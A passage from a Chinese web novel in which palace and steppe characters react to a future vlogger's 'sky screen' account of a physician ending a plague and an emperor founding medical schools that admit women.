而当看到“凌戈”在天幕上跟着倪青黛一起坐在悬崖边的画面时,他瞬间是气得吹胡子瞪眼,连声说道: “胡闹!陛下这实在是太胡闹了!他身为一国之君,怎么能做出如此不谨慎的行为来?!” 简书雯闻言,也面露赞同地说道:“君子不立于危墙之下,陛下此举,确实是鲁莽了些。”* 孟雪姝刚才在看到“凌戈”竟然坐在悬崖边时,也被吓得不由倒吸了一口凉气。 但此刻听到祖父和祖母都那样说凌戈,她又忍不住替凌戈开口辩驳: “可陛下他那样做,也主要是为了阻止倪姑娘。若是倪姑娘在那个时候想不开了,这岂不是令人为之扼腕痛惜?” 听到孟雪姝这番话,孟谦望向孙女,说道:“雪姝,你要知道,圣上的安危,牵动千家万户。他这样以身涉险,是对百姓极其不负责的表现。日后,他若是再有类似的举动,你身为皇后,务必得对他行规劝之责才行,绝不能放任他一人任性行事!” 对于祖父的这番话,孟雪姝心中并不是很认同。 在她看来,天幕上那个“凌戈”的行为,就是她所认识的的凌戈会做出来的事情。 凌戈并非任性行事,更不是心中没有百姓。 相反,他之所以愿意为了倪青黛,而将自己置身于险境之中,就是因为他明白倪青黛之于天下百姓的重要意义 “爷爷,那如果是您碰到那样的情况,只要您在倪姑娘身边坐下,就能立刻阻止她轻生的话,您又会如何选择呢?” 听到孟雪姝突然反问自己这么一个问题,孟谦愣神了一下。 下一瞬,他脑海中更是不禁回想起了,“凌戈”刚才说的那句“为众人抱薪者,不可使其冻毙于风雪”。* 见孟谦沉默不语,孟雪姝望向他,说道: “爷爷,以我对您老人家脾气的了解,我敢肯定,您绝对也会和陛下他一样,选择坐到倪姑娘的身边。” “这、这不一样。”孟谦难得地有些词穷。 孟雪姝挑眉:“这有什么不一样呢?您是统率百官的一国之相,您的安危同样影响到朝局的稳定,关系到万千百姓。您刚才说圣上他任性,那您自己呢?您不也是将自己的安危置之脑后?” 孟谦被孟雪姝说得哑口无声,一时间不知该如何反对孟雪姝才好。 孟谦习惯以理服人,但宫里的盛昭帝,可不像他那样。 所以,面对凌戈这个行为,即使倪厚朴此刻在现场,他也依然气得不行,直接就朝凌戈道: “我看你真是脑子昏了头,竟然敢做出那样危险的事情来!你难不成是和那个赵之翎一样,私下里看太多江湖游侠小说,以为自己是什么行侠仗义的好汉不成?你可是堂堂的大盛君王,整个大盛江山都担在你的肩头上!你以身犯险坐在那样的地方,你有没有想过,若是你出了意外,这大盛江山又该如何?” 凌戈还是头回被盛昭帝这么骂,心中一时间不禁感到有些新奇。 不过,他也确实如孟雪姝所预料的那般,并不认为自己那样做有什么问题。 倪青黛那样救万民于水火、解天下之倒悬的大国士,他若是真就放任她自寻短见,那才是真的无颜面对天下黎民。 而凌戈不愧是未来能和赵之翎玩得来的人,面对盛昭帝的痛骂,他竟然采用了和赵之翎一样滚刀肉的说法: “您怎么能把这事责怪到我头上来呢?这事是另外那个‘盛武帝’干出来的,我可和这事没有丝毫关系!您要骂的话,应该找那个‘盛武帝’骂去!” 凌戈的这番回应,直接把在场的人都给听呆了。 就连原本低头装作木头人的倪厚朴和何安福,此刻脸上都不由露出了震惊之色。 而盛昭帝也是一脸目瞪口呆地望着凌戈,根本没想到凌戈竟然会有如此赖皮的一面。 但也正是凌戈如此反应,反而使他此刻心中的怒火迅速冷静了下来,甚至还火速想出了另一个应对方式。 “哎呀,魏平,你赶紧扶一下老夫,老夫快要被这个不孝子给气得头晕眼花了!” 魏平虽然看出盛昭帝其实是想用装病来逼凌戈,但还是立刻配合上前,搀扶住盛昭帝,同时口中安慰盛昭帝道: “主子,您可千万别太生气,免得伤了圣体,倪院正刚才那会儿才说您得静心养气呢!” 听到魏平提起倪厚朴,盛昭帝下意识便道:“倪院正,老夫突然感觉有些胸闷,你来给老夫把下脉,看看老夫此时是否气血攻……” 盛昭帝那个“心”字还没说完,突然便想起,他和凌戈之所以起争执,正是因为倪厚朴的孙女倪青黛,另一个倪院正。 见盛昭帝神情讪讪,有些尴尬的模样,凌戈大致也猜到了他此刻心中的想法。 凌戈轻咳了一声,朝倪厚朴说道:“倪院正,既然父皇说他身体不舒服,那就劳烦你给他把下脉吧。” 倪厚朴此刻其实也有些不知道如何应对,因此听到凌戈这吩咐后,他急忙点头应是。 于是,在双方都心知肚明的情况下,倪厚朴又给盛昭帝问诊了一回。 而在倪厚朴结束诊断后,盛昭帝当即头也不晕了,腰也不酸了,默默仰头望向空中的天幕。 凌戈见他不再抓着刚才的事情不放,眼中不由闪过几分笑意,也将目光重新落到天幕上。 【关于盛武帝陪着倪医仙坐在悬崖边的这个行为,网上一直以来都有很多争议】 【反对的声音有很多,理由也各不相同,但三九我个人认为,抛开盛武帝这事对错不谈,盛武帝能做出如此出格的行为,正是因为他这个君父,是真的做到了将天下苍生视若子民】 【他正是看到了倪医仙对天下百姓的重要性,知晓若是失去倪医仙这样一位医学大才,这世上未必还会再出现下一个倪医仙,所以才会做出那般冒险行径】 【世有伯乐而后有千里马,千里马常有而伯乐不常有】* 【即使是在倪医仙试药失败,季太医以及另外那几个病患溘然长逝时,盛武帝依然选择了信任倪医仙,甚至还为倪医仙罕见地在朝堂上大发雷霆】 【如果对盛武帝有所了解的人,应该就知道他虽然看着给人有距离感,但实际待人却是非常宽和,很少会在朝堂上疾言厉色】 【而盛武帝这次的发火,正是因为一个名为何安福的老登】 皇宫里,听到“何安福”这个名字在天幕上出现,在场众人不禁都将目光望向了何安福这个礼部尚书。 而何安福则是瞬间一脸忐忑又心虚,额上又开始不断冒出冷汗。 此刻,何安福心中充满了后悔与懊恼。 他若是早知道自己今天进宫来面见盛昭帝,会碰到如此多的事情,他绝对不会选择进宫。 此刻,他甚至开始在心中暗暗求神拜佛,祈盼奇迹出现,天幕能够突然消失。 然而,他临时抱佛脚的祈祷终究是失效了。 天幕上,许三九声音清晰地说道: 【对于倪医仙试药失败这件事,所有人都不愿意看到,盛武帝甚至还特意写信给赵之翎将军,让他务必好好开解倪医仙,不要让倪医仙过于苛责自己】 【在那个时间段,但凡是通情达理、脑子正常的人,就都知道研发疠疫药方绝不是跟吃饭喝水一样简单的事情,失败才是正常的结果】 【然而,当倪医仙试药失败的消息从京郊疫区传到朝堂上时,那个反对女子参与科举的何安福老登,又跳出来拿这事大做文章,说倪青黛试药失败,以致引起疫区病患家属情绪失控,疫区人心惶惶。他建议盛武帝应该及时将倪青黛医仙撤出京郊疫区,以免倪青黛医仙在疫区里酿成大祸】 【盛武帝当时听了他这番荒唐可笑的话后,气得在朝堂上破口大骂,说何安福简直就是畜生不如、不知好歹的白眼狼!他甚至当堂就下令,要求内廷侍卫立刻就将何安福送到京郊疫区去,说要让何安福这个“大才”去京郊疫区近距离医治那些疠疫病患,把何安福这个老登吓得差点魂飞魄散】 【最后,还是温相把盛武帝给劝住了,说何安福岁数那么大,老胳膊老腿,去了也是给京郊疫区添麻烦,何安福这个老登这才得以不用去京郊疫区】 【不过,他虽然逃过了去疫区这件事,但官位却是被盛武帝给当场就罢免掉了,盛武帝直接将他给贬为了庶民】 【三九我觉得,也就是这老登虽然为人迂腐冷血,但好在没有贪污,不然他的家都得被盛武帝给抄了】 天幕下,皇宫里,盛昭帝看向何安福,他本来是想责备何安福,但见他满头大汗的狼狈模样,想到他到底是陪伴了自己多年的老臣,心不由就软了一些。 于是,盛昭帝说出口的话,也就变得不再那么严苛:“何尚书,那位三九姑娘说的对,治疗疠疫可不像吃饭喝水那么简单。老百姓常说隔行如隔山,你以后得吸取这个教训才行。” 何安福闻言,急忙点头如捣蒜,连声朝盛昭帝称是。 而向来性情温和的倪厚朴,此刻却是忍不住朝何安福开口道: “何尚书,我们倪家的家规向来是活到老学到老。你若是真对医学那么感兴趣的话,现在来学也不迟!” 听到倪厚朴这话,何安福更是尴尬羞恼到满脸涨红。 凌戈原本对何安福并没有太多意见,但在看到何安福在天幕中说出的那番话后,他却是瞬间心中下了个决定。 于是,即使已经听出盛昭帝话语中对何安福的心软,他也还是朝何安福直接开口道: “何尚书,朕听说你的家乡邑州山清水秀,很是适合致仕养老,不知此言可否当真?” 听到凌戈这话,何安福瞬间面如死灰。 大盛朝官员的致仕年龄通常为六十岁,他如今不过才五十有二,身体且还硬朗着。 他目光恳求地望向盛昭帝那边,期盼盛昭帝能帮忙自己劝下凌戈,然而盛昭帝却是依然抬着头看向天幕,好像压根没有听到凌戈刚才说的话。 看到盛昭帝如此反应,何安福的心瞬间如坠深渊。 他知道,自己已经没有任何商量的余地。 作者有话说: 【1出自《孟子?尽心》;2引用中文谚语,出处不可考;3《孟子?滕文公下》;4《后汉书?张玄传》;5引用出自韩愈《马说》】 第63章 直播6:十大镇馆之宝…… 天幕上,许三九嘴角扯起一抹嘲讽的笑: 【说真的,我觉得何安福这个老登,他其实真该感谢咱们盛武帝男神撤了他的职,把他赶回了家】 【因为在倪青黛医仙研制出了治疗疠疫的药方后,很多劫后余生的百姓对倪青黛医仙感激涕零,简直就是将倪青黛医仙敬若神明】 【如果何安福这个老登没被咱们盛武帝罢官的话,那他在上朝的路上,绝对会被愤怒的老百姓拖到胡同里套麻袋痛打一顿】 【事实上,即使他躲在了家中,事后听说了朝堂上消息的百姓们,都有不少人特意跑到他家的门口扔臭鸡蛋和牛粪,以至于他家很长一段时间,那真是货真价实的臭名远扬。凡是经过他家门外的人,都必须得捏住鼻子,赶紧冲过去】 【而除此之外,就连他邑州老家的族长,在得知他当初中伤倪医仙的态度后,都直接将他这一房给开除出了族谱】 【听到这里,或许会有宝子觉得那族长未免有些不近人情,赶尽杀绝,但事实上,如果听到我说出下面这些数据,我相信很多人应该也就能理解那族长这个举动了】 【前面三九我就说过,这场大疠疫是发生在晏安三年的春夏之交,而根据事后的统计,单是最早爆发疠疫的直沽城,就因为这场疠疫死了将近六万余人,而京师加上京郊死亡的总人数,也有三万余人,再加上其他地方死亡的两万余人,这场大疠疫在短短两个月的时间内,就造成了将近十二万人的死亡】 【可以说,如果不是倪青黛医仙奇迹般地研发出了那张救命良方,这场大疠疫绝对会造成更大的伤亡】 【根据史书记载,在倪青黛医仙没有研究出成功的药方之前,朝堂上甚至都已经开始出现了迁都的建议,只是被盛武帝大大给驳回了而已】 【可以说,倪青黛医仙在当时,说是立下了救世之功都不为过】 【也正是因为她的功德彪炳千古,咱们的国家博物馆才会将其亲手书写的那张治疫药方,评选为十大镇馆之宝之一】 【而根据我对国家博物馆的了解,他们这几年正在推行文物数字化政策,也就是利用科学技术高精度扫描文物的外观数据,将其呈现在官网上,以供网友阅览和研究】 【所以,我在查资料的时候,心中就想着,国家博物馆应该不可能漏过倪医仙的这张救世药方】 许三九说到这里时,脸上露出了高兴的微笑: 【果不其然,我上到博物馆的官网一搜,立刻就看到了那封信非常清晰的模样,博物馆甚至还为其建立了可以展示文物全貌的立体三维模型】 【三九我在这里,真的很想给博物馆的工作人员们点个赞,因为这真的大大方便了很多不方便去到现场观摩实物的历史迷】 【而更让我感到意想不到的,是博物馆的官网页面竟然还允许大家免费下载这些文物资料】 【所以,借着今天这个视频,三九我也正好和大家一起分享下国博的这件镇馆之宝】 听到许三九这话,天幕下,凌戈眼神瞬间变得认真严肃了起来。 虽然如今的大盛已经和天幕上剧透的那个大盛截然不同,但假如将来这场大疠疫还是爆发了,那么这张药方就依然能救人无数。 草原上,东桀单于在听到许三九说要展示药方时,更是瞬间都坐不住了,直接就站了起来,同时急忙让自己身边的所有人都赶紧提笔,绝不能错过那药方的一个标点符号,必须将其抄录下来。 虽然许三九刚才没有在天幕上提及东桀,但东桀单于丝毫不敢赌这个可能性。 在他看来,连那样富足的大盛,都因为那场大疠疫而死了将近十二万人。 若是疠疫爆发在他们草原上,那他们东桀指不定真就是迎来灭顶之灾了。 许三九公布的倪青黛治疫药方,除了在天幕下引起轰动外,也同样吸引了不少网友在弹幕中讨论: 【这药方实在是太熟悉了,哈哈哈哈,当年读大学时,我们专业有个老教授每次期末必拿这药方出题,导致我们专业当时人人都把这药方背得滚瓜烂熟】 【笑死,我们专业也差不多,我估计只要是学中医的学生,应该都会背这药方】 【小小地歪个题,虽然看不懂这药方的内容,但感觉倪青黛医仙的字写得好好看呀,甚至产生了一种想要拿这药方当手机屏保的冲动】 【赞同,我还是今天才知道原来倪医仙的书法也写得这么好。我学书法已经有二十来年了,但写出来的字,都依然达不到倪医仙这种飘逸潇洒的神韵】 【呜呜呜,真羡慕写字好看的人呀,我要是能写出这么一手好字,我简直做梦都会笑醒】 【咳咳,我不是对其他医生有什么意见,但我觉得,或许各大医学院都应该开一门书法课作为必修课,课件内容直接用倪青黛医仙的药方就行】 【哈哈哈哈哈哈,我第一个支持前面这位朋友的提议!我之前去看病时,那医生的处方写得简直就像群魔乱舞,我都怀疑那个抓药师到底能不能看懂,应该不会给我乱抓一通药吧】 天幕下,看到很多网友都在夸自己书法好看,倪青黛得意到忍不住嘿嘿笑了两声。 倪母见她那么嘚瑟,脸上也浮现笑意,“瞧见了没,我让你小时候好好练字,现在是不是就派上用场了?” 倪青黛高兴地搂住母亲的胳膊,笑着说道:“谢谢母亲的指导之恩,小女子感激不尽,没齿难忘!” 当看到许三九将自己亲手写的药方公开在天幕上时,倪青黛心里的第一个想法就是庆幸,觉得这样应该就不至于再出现原来历史中那样数量庞大的病亡人数了。 随后,她转瞬又想到,幸好自己的字还算能见人,不然可真就是丢脸丢到天下人的面前了。 许三九在晒完国博的药方全貌后,又继续说道: 【凭借着这张药方,倪青黛医仙从此就在民间多出了“医仙”这么一个称号】 【当时在大盛,只要是提到医仙,所有人都知道这是在指倪青黛医仙】 【而同样是因为倪青黛医仙,那句“阴阳错位,有违天命,鬼神震怒,是故降疫”的谣言,也再没有人敢提及】 【毕竟,大家的命都是倪医仙救下来的,如果还提这句可笑的谣言,那跟端起碗吃饭,放下碗骂娘的白眼狼有什么区别?这种行为都不能说是忘恩负义了,应该说是恩将仇报才更贴切!】 【所以,即使有很多人还是对女子参与科举这件事满腹牢骚,但因为害怕自己被世人的唾沫淹死,这些人也只能就此作罢,强忍下心中的不满】 【可以说,在女子参与科举这件事里面,无论是孟雪姝皇后,还是倪青黛医仙,亦或者是陆诗薇尚书,她们的存在都向世人证明了一件事,那就是“妇女亦能顶半边天”!】 天幕下,许多女子在听到“妇女亦能顶半边天”这句话时,脸上都不禁露出了深思。 京师,孟府里。 此刻,孟雪姝的心中也同样因为这句话而产生了触动。 她暗暗下定决心,自己一定得努力通过下个月中旬的县试才行。 原来,在得知凌戈颁布新政,允许女子参加科举以后,孟雪姝就报名了京师的县试。 她原本心中很是犹豫不决,怕以自己的身份,报名参加科举有些不妥,无论是通过,还是失败,都肯定会招来朝野众多非议。 但凌戈似乎是料到了她的心思,让人从宫中给她带了封信。 他在信中直接道,若是孟雪姝想参与科举的话,可以大大方方地报名,不用顾忌太多。 凌戈的这封信,就像是一注强心剂,瞬间打消了孟雪姝心中的所有顾虑。 于是,在收到凌戈信件的当天,孟雪姝就在祖母的陪同下,报名了科举的第一关县试。 孟雪姝有时想想,都觉得自己现在的生活有些像是在做梦。 按照常理来说,她这个准皇后,此刻该是在为五月的那场大婚备嫁才是,然而她却是在备考县试。 而和孟雪姝一样报了今年县试的,还有陆诗薇。 陆诗薇此时也和父母在家中院里观看天幕。 在天幕出现之前,她原本正在自己的书房里专心背书,心思全都沉浸在书卷中。 自打上次许三九在天幕上提及她后,家中便为她专门腾出了一间供她学习的书房。 她还是在母亲的敲门提醒下,这才得知了天幕的再次出现。 而此刻,她心中更是对未来充满了期盼。 她迫切想要考到京师去,见一见那些她神交已久的人。 …… 【话说回到倪青黛医仙这边,光是消除大疠疫这件事,其实就已经足够倪青黛医仙下半辈子都躺在功劳簿上养尊处优了,没有人会对此有什么二话】 【更别提,咱们有功必赏的盛武帝男神,还封了倪医仙济世侯的爵位】 【如果是三九我这样胸无大志的人,大概真的就会想着可以躺平享受了】 【但咱们倪青黛医仙,到底是和三九我这种凡夫俗子不同】 【在得知盛武帝希望改善广大农村贫苦百姓看病难、看病贵的这两个问题后,她主动请缨,从盛武帝的手中接下了这个重任】 天幕下,许多坐在田间地头、晒谷场等地方的农民,听到自己突然被提及,都不由愣神了一下。 他们大多数时候其实都是把天幕当作远方的热闹在看,却没成想,天幕上竟然还有与自己有关的事情。 一时间,许多老百姓都不由半信半疑地望向天幕。 第64章 直播6:良币驱逐劣币…… 天幕上,许三九望向镜头说道: 【三九我前面说过,倪青黛医仙年少时,便时常从家中偷溜到外面,去给京师的底层百姓义诊。从这件事,咱们固然可以看出倪医仙对百姓的恻隐之心,但从另一方面,其实也能看出京师底层人在求医上的艰难】 【天子脚下的京师尚且如此,那些偏远地区的老百姓,情况自然只会更加严峻】 【盛武帝他正是看到了这个情况,所以才会希望采取措施来改善这一件事】 【而要改善就医难这个问题,首先就必须先解决医生的培养问题】 【咱们今天如果想学医,只要高考分数足够,就可以随意挑选自己适合的医学院校和医学专业,甚至有的人还可以自己在网上通过看视频来自学,但在古代,普通人想要学医,却不是那么容易的事情】 【对于当时的普通人而言,如果自身不是出自杏林世家,那想要拜师学医,其实是成功率非常渺茫的事情,说是痴心妄想都不为过】 【当时的杏林世家都是将医术和药方视为自己家族的立身之本,很多家族甚至有“传子不传女,传内不传外”这样的严苛规定】 【倪青黛医仙之所以能学到医术,其实也是幸好她的投胎技术不错,投在了家风相对开明的倪家,否则的话,她的医学天赋可能根本没能得到展现的机会】 【盛武帝为了扩大医疗队伍,他决心打破普通人的学医壁垒,在京师创办一所传授医学的医学院,由倪青黛医仙担任院长,太医院其他太医轮班当授课老师】 【这所医学院会在每年5月份时,面向全大盛招1000个学生。只要能通过招生考试的学生,就能在医学院包吃包住,免费学习两年的医术】 【当然,可能会有人觉得医学博大精深,两年的学习如何能够呢?】 【这一点,倪青黛医仙早就有所准备,她根据倪家多年的医术传承以及自己的行医经验,编写出了一本《常见疾病诊疗手册》,那本书里面涵盖了100种常见病症,而且将诊断方法和治疗方式都写得非常清晰易懂】 【可以说,只要是会识字,且还能耐下心来学习的人,基本都能依靠这本书在两年内实现从0基础到入门医学】 天幕下,许多世代以行医为生的家族,在听到许三九这些话后,其家族成员很多都因为感受到威胁而皱起了眉头。 更有甚者,气到直接指着天幕破口大骂,俨然一副暴跳如雷的模样。 当然,他们这样的既得利益者,终究是少数。 更多原先就想学医但却求学无门的人,在听到许三九这番话后,都不由激动到心潮澎湃,满脸向往之色。 而在这其中,不仅有男子,也同样有女子的身影,有些甚至还是医学世家的女子。 她们的家族正如许三九在天幕上说的那样,“传子不传女”,将她们这些家族中的女子同样视为了需要防备的外人。 原先,她们虽然心中不甘,但也只能就此接受命运,但倪青黛在天幕上的出现,让她们看到了,原来这世上还有另外一种可能。 所以,当看到许三九说这所医学院每年都会招收1000个学生时,很多人心中不禁都冒出了这么一个念头,不知道这医学院会不会和科举一样,也允许女子报名参加考核呢? 虽然很多人猜测,盛武帝连科举都允许女子参加了,而且倪青黛医仙还是这医学院的院长,那他们应该会允许女医学生出现才是,但即使知道可能性很大,在没亲耳听到许三九提及时,大家心中还是不免有些惴惴不安。 而京师倪家,被众人视为楷模的倪青黛,此刻则是小心翼翼地瞥了父亲和母亲一眼,生怕从父母的面上看到责备之色。 她从刚才听到自己将家族的医术和自己的行医经验编成书后,原本放松的神情,一下子就紧绷了起来。 她虽然心中并不认为这事有什么问题,但这事如果放在外人眼中,她估计可以称得上是“卖家贼”了。 事实上,倪父刚开始听到倪青黛竟然将家族的医术外传时,眉头也是不禁皱了起来。 但他转念一想,以女儿的性格,她会做出这种事情来,其实也并不奇怪。 于是,当察觉到女儿那忐忑的神情后,他便开口道: “行了,反正那个时候倪家估计也就只剩你这根独苗了。你作为倪家的家主,若是不把这些医术往外传,咱们倪家的医术指不定就失传了,这更对不起列祖列宗。” 听到父亲这么说,倪青黛瞬间心里松了一口气,脸上也跟着露出了一个轻松的笑容,她望向倪父说道: “爹,你放心,我未来如果还要编书的话,我肯定避开咱们家的那些医方!” 倪父眼神犹豫了一瞬,随后还是开口道: “等你祖父回来了,你再问下他这事吧,看看他是什么想法。他若是不反对的话,那你想写就写。毕竟,若是没有那些前人写下的医学典籍,咱们的医术也未必能发展到今天这程度。” 听到倪父这么说,倪青黛脸上瞬间更是绽放出了灿烂的笑容: “爹,我就知道你最是通情达理了!三九姑娘她确实说得对,我的投胎技术的确还挺好的!” 倪父和倪母听到倪青黛这话,夫妻俩人对视了一眼,脸上也都不禁露出了笑容。 …… 【在咱们今天看来,盛武帝和倪青黛医仙创办医学院这件事,着实是利国利民,有百利而无一害,但这事在当时,却是引起了不少医者的反弹】 【那些医者因为不敢骂盛武帝这个九五之尊,所以就将矛头都对准了倪青黛医仙】 【因为倪青黛医仙编撰了那本《常见疾病诊疗手册》,他们便借题发挥,私下里到处说家贼难防,倪青黛医仙这是卖祖求荣、辱没门楣!】 【这群人以为自己的小动作很隐秘,却不知道,人民的力量有多庞大】 【于是,还没等那些人诋毁的话语传到倪医仙耳中时,那几个因为利欲熏心而跳得最高的医者,直接就在有一天出门时,被老百姓拖到胡同里暴揍了一顿】 【老百姓可能没文化,但他们绝对并不愚蠢,他们知道谁才是真正站在自己那边的人】 【盛武帝为什么会给予那些医学院的学生那么优渥的学习环境呢?】 【就是因为这些学生在经过两年的学习和考核过后,他们全都会被安排到大盛的二十七个州城,然后在当地再创办一个州城医学院,面向州城底下的县镇以及乡村,每年同样招收1000个包吃包住免学费的医学生】 【等到这些州城医学院的学生出师以后,他们则会被分派到各个县镇及乡村当上两年的驻扎大夫。这两年时间里,他们被禁止离开到外地行医,而且在为病人进行诊治时,也不能收取诊金,只允许收取药费】 天幕下,听到许三九说的这些话,许多偏远乡村的老百姓,都不由惊得瞠目结舌。 “我的老天爷,我没听错吧,不收诊金,只收药费?那咱们往后岂不是都能省下不少钱?我记得咱镇上那刘家医馆,每次光是诊金就要收一百文铜钱呢!” “何止是能省钱,老四叔,你刚才没听那三九姑娘说,咱们圣上还让他们那些大夫得到咱们这些乡下来呢!这往后呀,咱们说不定在家门口就能看病了,再也用不着走上大半天,去到镇上还得看那刘大夫的黑脸了!” “我这活了大半辈子的人,真是怎么都没想到,咱们这些穷苦人家,竟然有一天还真的有人在乎咱们这些贱命烂命?!” “我看呀,咱们大家伙全都应该多替皇帝老爷和那位倪医仙祈祷祈祷,希望他们最好是能够活越久越好,这样咱们的日子铁定能比现在轻松不少!” …… 天幕上,许三九笑着望向镜头: 【关于政治课本上的供求定律,相信很多宝子应该都还记得吧?】 【供求关系的变化,显然能对价格产生深远的影响】 【原先,因为大夫数量稀少,所以看病这件事对于普通民众而言,是一件经济负担极其沉重的事情】 【而且,因为大夫少的缘故,所以绝大多数大夫都会选择往经济相对繁华的地方走,这自然就更加重了偏远地方的百姓求医难度】 【但随着盛武帝的京师医学院和各州城医学院的建立,各地的大夫数量在几年间迅速就上升了许多,这一下子就打破了很多地方医阀对于医疗资源的垄断】 【虽然,医学院培养出来的很多大夫都只是入门级水准,但随着时间的推移,他们的医术水平其实也在慢慢上升】 【而且,因为这些大夫需要免费接诊两年,而且开的药方通常药材费用也不贵,所以原先那些诊金昂贵,还喜欢开贵重药材药方的医馆,都不得不更改自己的无良行医作风】 【这真是难得一件“良币驱逐劣币”的大好事!】 天幕下,不少无良庸医此刻都忍不住心生忐忑,觉得自己的饭碗似乎摇摇欲坠。 但老百姓在听到许三九说的这些话后,大家却是一片欢呼雀跃。 不少人更是笑得合不拢嘴,连连拍手叫好。 而那些之前确实经历过看病难和看病贵的家庭,有人回想起自家过去看病的艰辛情况时,忍不住当场就落下了心酸的泪水。 第65章 直播6:水能载舟,亦能…… 天幕上,许三九一脸骄傲地说道: 【在盛武帝的任期内,京师医学院加上各州医学院,总共培养出了将近一百万人数的大夫】 【这些大夫的出现,大大改善了底层百姓的医疗资源匮乏问题,同时也帮助提高了老百姓的平均预期寿命】 【盛武帝刚登基的那头几年,因为过去兵荒马乱的缘故,当时大盛的平均预期寿命是32岁左右,但等到盛武帝退位那年,大盛百姓的平均预期寿命已经提高到50岁左右】 【50岁在咱们今天看来,可能很多人还会觉得是英年早逝,但对于那个时期的底层老百姓而言,这个岁数却已经可以称得上是高寿了】 天幕下,皇宫里,盛昭帝此刻脸上表情浮现出了明显的诧异。 作为刚卸任不久的前任君王,他比所有人都更了解如果想要培养出将近百万人数的大夫,朝廷需要承担多么巨额的财政支出。 他望向凌戈,说道:“培养这么多的大夫,这可不是一笔小数目,你难道就不怕他们把财政给拖垮了?” 凌戈闻言,脸上不仅没有露出担忧,反而是笑了起来: “财政自古以来就是四个字,开源节流。开源这事比较复杂,不是一时半会就能做到的事情。但节流的话,我未来只会有皇后这么一位妻子。这样一来,宫中原本用来养后妃的那些钱,也就能挪到他处使用了。” 盛昭帝听到凌戈这么说,顿时给沉默住了。 凌戈的种种行为,实在是有悖他过往对人性贪图享乐的认知。 盛昭帝自认自己过去并不是一个穷奢极欲的帝王,但让他做到像凌戈这样清心寡欲,他也着实无法做到。 而且,他回想了一下宫中过去每年的开支,心中也不得不承认,如果将那些钱用来免费培养民间大夫的话,确实是可能培养出那么一支数目庞大的医疗队伍来。 虽然早就知道自己在史书上的评价远不及凌戈,但这一刻,盛昭帝还是深深地感到一阵自愧不如的感觉。 因为他心中很明白,即使时光倒流,让他回到从前,他也不可能会做出像凌戈这样的行为来。 …… 【三九我前面查过一些资料,很多史学家都认为,当时大盛老百姓的平均预期寿命之所以能够大幅度提高,也是因为妇女的生育死亡率和婴幼儿的死亡夭折率,得到了大大降低】 【而这一切,都跟盛武帝对医学院的性别比例规定有很大关系,他不顾那些迂腐刺耳的反对声,强硬规定医学院的男女性别比必须是1比1】 【前面三九我曾经说过,当时女医的数量非常稀少,简直是凤毛麟角】 【倪青黛医仙就是有感女子求医艰难,存在诸多不便,这才励志成为一个女医】 【而在盛武帝自上而下强硬推行了这条录取规则以后,女医的数量同样在短时间内,也迅速直线上升】 【因为生育对当时的女子而言,属实是如同闯鬼门关,所以这些女医在医学院学习时,都会接受严格的接生助产培训】 【正是因着这些培训的出现,分娩妇女和婴幼儿的死亡率才得到了显著的改善】 天幕下,一个穿着粗布宽大衣裳的小女孩坐在自家院中的木凳上。 她听完许三九的话后,转头望向身边皮肤黝黑粗糙的父亲,说道:“爹爹,等福妞长大了,福妞也想要当女大夫!” 福妞爹听到这话后,沉默了一瞬。 他脑海中骤然回想起了三个月前因为难产而折腾了一天一夜,最后还是撒手人寰的妻子以及她腹中那个连世界都尚未看过一眼的孩子。 福妞爹吞咽了一下自己发紧的喉咙,他声音沙哑沉闷:“好,到时候爹爹送你去州城里报名。你努力考进去,到时候你娘和小妹妹在天有灵,也会替福妞你开心的。” 福妞重重地点了点头,“我一定不会让娘和小妹妹失望的!” 草原,东桀部落。 东桀大王子加尔顿此时却是直接冷笑了一声,他声音中带着轻蔑和嘲讽: “我看这个盛武帝和倪青黛,简直就是吃饱了撑的!那些女人和贱民,就跟这草原上的野草似的,砍了一茬照样还会再长一茬,哪里有必要替他们折腾这么多事情出来!” 对于加尔顿这番言论,向来和他不对付的东桀三王子格巴,也并没有任何反对的意思。 但是,跪伏在他们这些东桀贵族周围伺候的奴隶们,恭顺低垂的眼眸中却是都悄然闪过了几分羡慕。 天幕上提及的那些大盛百姓生活,是他们连做梦都不敢奢想的美事。 他们此刻只恨自己为何是投生于东桀部落,而不是出生在大盛那块拥有圣明之主的福地之上。 “格巴,我有件事想问你一下。” 听到性格残暴的东桀单于出声,一众奴隶瞬间屏息凝神,弯着的腰甚至下意识地往下压了压。 而格巴则是望向东桀单于,表情恭敬:“父亲,您请说,儿子必知无不言,言无不尽。”* 东桀单于眉头深拧,朝格巴说道:“若是让你潜伏在大盛里的人去将那个倪青黛给绑架过来,你觉得你的人能够办到啊?” 格巴很想当场就朝父亲打包票,借此来讨得父亲的欢心。 但受困于现实情况,他不得不摇了摇头,朝东桀单于解释道: “父亲,大盛京师戒备极其森严,况且那位盛武帝既然已经知道倪青黛在医学上的价值,肯定也会特意派人暗中护着她。儿子在京师那边的势力本就薄弱,若是贸然对那倪青黛动手,恐怕最后会落得个满盘皆输的结果。” 格巴对于自己办不成东桀单于的事,感到很是丢脸,说话也特意压低了声音。 而与他不对付的加尔顿,自然不肯放过这个难得能奚落格巴的机会,他当即就大声朝格巴嘲讽道: “格巴,你之前不是还吹嘘说你在大盛的能耐很厉害吗?怎么真到用得上你的地方,你反而就跟个软蛋一样不行了?!” 听到加尔顿这意有所指的话,格巴脸色瞬间气得铁青,他朝加尔顿狠狠回击道: “既然你加尔顿大王子口气如此厉害,那你怎么不去大盛皇宫里,把那个该死的盛武帝给抓到草原上来?!哦,对了,瞧我这记性,你连一个大盛女人都搞不定,还被她给伤得流血了,估计真让你去大盛京师,你指不定得吓到屁滚尿流呢!” 听到格巴又揭自己的伤疤,加尔顿气得当场拿起酒碗,直接就朝格巴给砸了过去。 格巴虽然及时躲了一下,没被酒碗给砸着脸,但却还是被泼了满头的酒水。 他气得望向东桀单于道:“父亲,您瞧瞧加尔顿他这不像话的模样,当着您的面,他都敢如此放肆!” 格巴的本意是希望东桀单于训斥加尔顿,但因为格巴没法将倪青黛给挟持到草原上,东桀单于此刻心中对于格巴其实有些不满。 所以,在听到格巴的话后,他直接选择了和稀泥的“各打50大板”,朝格巴和加尔顿道: “行了,你们两个都是亲兄弟,何必为了几个大盛人而吵成这样,都给我消停些。” 加尔顿被东桀单于这么不痛不痒地说了一句,心中自然是畅快的,觉得自己难得占到了便宜。 而格巴却是觉得自己受了大委屈,白白被加尔顿泼了一碗酒水,还得不到东桀单于的主持公道。 东桀单于自然看出了两个儿子此刻心中的想法。 他抬头望向天幕,心中这时不禁对素未谋面的盛昭帝产生了羡慕之情。 原来,盛昭帝膝下无子时,他没少和其他亲信拿这件事嘲讽盛昭帝。 